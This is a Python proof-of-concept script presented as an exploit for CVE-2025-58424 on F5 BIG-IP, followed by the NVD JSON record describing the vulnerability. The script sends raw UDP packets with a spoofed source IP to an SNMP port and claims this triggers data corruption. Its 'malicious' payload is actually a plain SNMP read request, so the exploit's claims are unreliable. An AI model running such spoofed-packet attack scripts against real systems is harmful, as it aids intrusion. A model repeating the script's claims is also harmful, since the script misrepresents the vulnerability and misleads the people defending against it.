CVE-2025-58424

# CVE-2025-58424 PoC - F5 BIG-IP Data Corruption via Undisclosed Traffic # This PoC demonstrates the concept of exploiting protocols without message integrity protection # on F5 BIG-IP systems to cause data corruption and unauthorized data modification. import socket import struct import hashlib TARGET_HOST = "192.168.1.100" # Replace with target BIG-IP host TARGET_PORT = 161 # Example: SNMP port (protocol without integrity protection) def craft_malicious_packet(payload): """ Craft a network packet targeting a protocol without message integrity protection. The packet is designed to be processed by BIG-IP without integrity verification. """ # Build a raw UDP packet targeting an integrity-less protocol # Protocol examples: SNMP, TFTP, DNS (in certain configurations) packet = b"" # UDP Header (simplified) src_port = 44444 dst_port = TARGET_PORT length = 8 + len(payload) checksum = 0 udp_header = struct.pack("!HHHH", src_port, dst_port, length, checksum) packet = udp_header + payload return packet def exploit(): """ Send crafted packets to BIG-IP to trigger data corruption. The attack exploits the lack of message integrity protection. """ print(f"[*] Targeting BIG-IP at {TARGET_HOST}:{TARGET_PORT}") # Craft malicious payload - modify protocol data without integrity check # This simulates data modification in protocols without HMAC/MAC protection malicious_payload = b"\x30\x29\x02\x01\x00\x04\x06public\xa0\x1c\x02\x04\x00\x00\x00\x01\x02\x01\x00\x02\x01\x00\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01\x01\x01\x00\x05\x00" packet = craft_malicious_packet(malicious_payload) try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Build IP header ip_header = struct.pack("!BBHHHBBH4s4s", 0x45, 0, # Version, IHL, TOS 20 + len(packet), # Total length 0, 0, # ID, Flags/Fragment 64, 17, # TTL, Protocol (UDP) 0, # Checksum socket.inet_aton("10.0.0.1"), # Source IP socket.inet_aton(TARGET_HOST) # Dest IP ) full_packet = ip_header + packet sock.sendto(full_packet, (TARGET_HOST, 0)) print("[+] Malicious packet sent successfully") print("[!] BIG-IP may process the modified data without integrity verification") except PermissionError: print("[-] Permission denied. Run as root/admin for raw sockets.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-58424", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:52.873", "lastModified": "2026-02-04T17:47:53.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "On BIG-IP systems, undisclosed traffic can cause data corruption and unauthorized data modification in protocols which do not have message integrity protection.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", 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"vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 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